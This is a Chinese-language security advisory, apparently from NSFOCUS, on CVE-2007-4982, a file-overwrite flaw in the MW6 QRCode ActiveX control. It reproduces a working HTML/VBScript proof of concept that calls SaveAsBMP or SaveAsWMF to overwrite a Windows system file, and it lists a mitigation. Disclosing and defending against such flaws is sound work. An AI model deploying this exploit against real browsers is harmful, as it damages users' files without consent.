安全研究

安全漏洞
MW6 Technologies QRCode ActiveX控件任意文件破坏漏洞

发布日期:2007-09-18
更新日期:2007-09-18

受影响系统:
MW6 Technologies QRCode ActiveX 3.0
描述:
BUGTRAQ  ID: 25702
CVE(CAN) ID: CVE-2007-4982

MW6 Technologies QRCode是一种程序组件库。

QRCode所带的ActiveX控件实现上存在漏洞,远程攻击者可能利用此漏洞破坏系统上的任意文件。

MW6QRCode.QRCode.1 ActiveX控件(MW6QRCode.dll)的SaveAsBMP()和SaveAsWMF()方式可以把图像文件保存到参数指定的地方,这个功能可被用来覆盖当前用户权限下可访问的任意文件。

<*来源:shinnai (shinnai@autistici.org
  
  链接:http://www.shinnai.altervista.org/exploits/OREurGhGgAtlCT8J2jSY.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
<b>MW6 Technologies QRCode ActiveX 3.0 (MW6QRCode.dll) Remote File Overwrite</b>
url: www.mw6tech.com

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

<b>Description:
This control contains two methods, "SaveAsBMP()" and "SaveAsWMF()", which
write to a file specified as an argument.
These can be exploited to overwrite and corrupt arbitrary files on the
system in the context of the currently logged-on user.

Marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
KillBitSet: Falso</b>
-----------------------------------------------------------------------------
<object classid='clsid:3BB56637-651D-4D1D-AFA4-C0506F57EAF8' id='test' width='24' height='24'></object>

<select style="width: 404px" name="Pucca">
  <option value = "SaveAsBMP">SaveAsBMP</option>
  <option value = "SaveAsWMF">SaveAsWMF</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "SaveAsBMP" then
     test.SaveAsBMP "c:\windows\system_.ini"
     MsgBox "Exploit completed."
   elseif Pucca.value = "SaveAsWMF" then
     test.SaveAsWMF "c:\windows\system_.ini"
     MsgBox "Exploit completed."
   end if
End Sub
</script>
</span></span>
</code></pre>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 禁用QRCode ActiveX控件。

厂商补丁:

MW6 Technologies
----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mw6tech.com/

浏览次数:2484
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障